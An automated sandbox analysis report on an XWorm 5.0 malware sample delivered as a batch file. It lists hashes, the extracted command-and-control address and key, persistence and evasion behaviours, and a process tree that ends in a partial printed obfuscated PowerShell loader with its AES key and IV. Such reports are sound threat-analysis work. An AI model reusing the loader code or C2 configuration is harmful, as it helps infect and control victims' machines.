Analysis
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max time kernel
119s -
max time network
116s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20250113-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
23-01-2025 14:08
Static task
static1
Behavioral task
behavioral1
Sample
123e.bat
Resource
win10ltsc2021-20250113-en
General
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Target
123e.bat
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Size
371KB
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MD5
a525af6701d8e4a594e2994ea870a897
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SHA1
2306ae5f37d70cc766548310e4f861cb5429b789
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SHA256
642c23c2a4fdc8ef798b8cd15f01afdc8267f2e86653d189e42e4ffe46768460
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SHA512
92b04239a02e7fa2c2a3c8aba75b0efd22e8f5fef0b3f50582614b790ff28c9b012e110545d251de1c6d079ee072a73d37df1d719d7dc4628b147c8e12e8c4b8
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SSDEEP
6144:+L5ako4qqxyFfjAucVx6Nbk9CKAZ/QEqnURfniEEYLyNwTn1Z0AGM63RBpCSkuVi:+taD4qqxKbExWrTZ/QKet2cFMIRB9wvZ
Malware Config
Extracted
xworm
5.0
real-enquiry.gl.at.ply.gg:15403
XMR2SpG5rhnOf6LO
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Install_directory
%Public%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/2248-107-0x000002DFF3710000-0x000002DFF3720000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 5 IoCs
flow pid Process 20 2248 powershell.exe 29 2248 powershell.exe 41 2248 powershell.exe 46 2248 powershell.exe 47 2248 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 3812 powershell.exe 4256 powershell.exe 2248 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantomClient.lnk powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$phantomClient = "C:\\Users\\Public\\$phantomClient" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ip-api.com -
Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe -
Modifies data under HKEY_USERS 42 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188011E1231AD9" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133821149430821620" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133821150344306364" svchost.exe Key created \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3812 powershell.exe 3812 powershell.exe 4256 powershell.exe 4256 powershell.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 3164 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3812 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe Token: 36 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe Token: 36 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe 3164 taskmgr.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3500 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4068 wrote to memory of 1740 4068 cmd.exe 84 PID 4068 wrote to memory of 1740 4068 cmd.exe 84 PID 4068 wrote to memory of 3812 4068 cmd.exe 85 PID 4068 wrote to memory of 3812 4068 cmd.exe 85 PID 3812 wrote to memory of 4256 3812 powershell.exe 88 PID 3812 wrote to memory of 4256 3812 powershell.exe 88 PID 3812 wrote to memory of 4348 3812 powershell.exe 93 PID 3812 wrote to memory of 4348 3812 powershell.exe 93 PID 4348 wrote to memory of 3720 4348 WScript.exe 95 PID 4348 wrote to memory of 3720 4348 WScript.exe 95 PID 3720 wrote to memory of 3764 3720 cmd.exe 97 PID 3720 wrote to memory of 3764 3720 cmd.exe 97 PID 3720 wrote to memory of 2248 3720 cmd.exe 98 PID 3720 wrote to memory of 2248 3720 cmd.exe 98 PID 2248 wrote to memory of 3164 2248 powershell.exe 94 PID 2248 wrote to memory of 3500 2248 powershell.exe 56 PID 2248 wrote to memory of 1960 2248 powershell.exe 35 PID 2248 wrote to memory of 2548 2248 powershell.exe 45 PID 2248 wrote to memory of 3532 2248 powershell.exe 57 PID 2248 wrote to memory of 2152 2248 powershell.exe 39 PID 2248 wrote to memory of 1952 2248 powershell.exe 34 PID 2248 wrote to memory of 1556 2248 powershell.exe 26 PID 2248 wrote to memory of 1356 2248 powershell.exe 22 PID 2248 wrote to memory of 960 2248 powershell.exe 12 PID 2248 wrote to memory of 1944 2248 powershell.exe 33 PID 2248 wrote to memory of 3712 2248 powershell.exe 58 PID 2248 wrote to memory of 1364 2248 powershell.exe 23 PID 2248 wrote to memory of 2708 2248 powershell.exe 49 PID 2248 wrote to memory of 5068 2248 powershell.exe 75 PID 2248 wrote to memory of 1316 2248 powershell.exe 21 PID 2248 wrote to memory of 1116 2248 powershell.exe 18 PID 2248 wrote to memory of 768 2248 powershell.exe 15 PID 2248 wrote to memory of 904 2248 powershell.exe 11 PID 2248 wrote to memory of 2672 2248 powershell.exe 48 PID 2248 wrote to memory of 2480 2248 powershell.exe 44 PID 2248 wrote to memory of 1088 2248 powershell.exe 17 PID 2248 wrote to memory of 1676 2248 powershell.exe 30 PID 2248 wrote to memory of 3600 2248 powershell.exe 72 PID 2248 wrote to memory of 5028 2248 powershell.exe 67 PID 2248 wrote to memory of 2848 2248 powershell.exe 54 PID 2248 wrote to memory of 1836 2248 powershell.exe 32 PID 2248 wrote to memory of 1260 2248 powershell.exe 20 PID 2248 wrote to memory of 2472 2248 powershell.exe 43 PID 2248 wrote to memory of 1256 2248 powershell.exe 90 PID 2248 wrote to memory of 2236 2248 powershell.exe 40 PID 2248 wrote to memory of 3220 2248 powershell.exe 68 PID 2248 wrote to memory of 2036 2248 powershell.exe 37 PID 2248 wrote to memory of 2428 2248 powershell.exe 42 PID 2248 wrote to memory of 2024 2248 powershell.exe 36 PID 2248 wrote to memory of 1824 2248 powershell.exe 31 PID 2248 wrote to memory of 1232 2248 powershell.exe 19 PID 2248 wrote to memory of 1620 2248 powershell.exe 29 PID 2248 wrote to memory of 2604 2248 powershell.exe 46 PID 2248 wrote to memory of 4424 2248 powershell.exe 71 PID 2248 wrote to memory of 1608 2248 powershell.exe 28 PID 2248 wrote to memory of 1408 2248 powershell.exe 25 PID 2248 wrote to memory of 2392 2248 powershell.exe 41 PID 2248 wrote to memory of 420 2248 powershell.exe 13 PID 2248 wrote to memory of 1576 2248 powershell.exe 27 PID 2248 wrote to memory of 800 2248 powershell.exe 10 PID 2248 wrote to memory of 4736 2248 powershell.exe 66 PID 2248 wrote to memory of 400 2248 powershell.exe 14 PID 2248 wrote to memory of 2960 2248 powershell.exe 51 PID 2248 wrote to memory of 1380 2248 powershell.exe 24
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
PID:800 -
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:4432
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵PID:2032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:904
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:768
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1088
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1364
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1608
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1824
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1836
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2024
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2152
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2236
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2604
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2848
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3500 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\123e.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMuNM+NoeoilVnbVcgHZqIY5pZsDXTl8ky9l6Hk27Wg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Th2eHiyH2cvkjKqYgrdjbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CErIK=New-Object System.IO.MemoryStream(,$param_var); $vsVXh=New-Object System.IO.MemoryStream; $zmJWY=New-Object System.IO.Compression.GZipStream($CErIK, [IO.Compression.CompressionMode]::Decompress); $zmJWY.CopyTo($vsVXh); 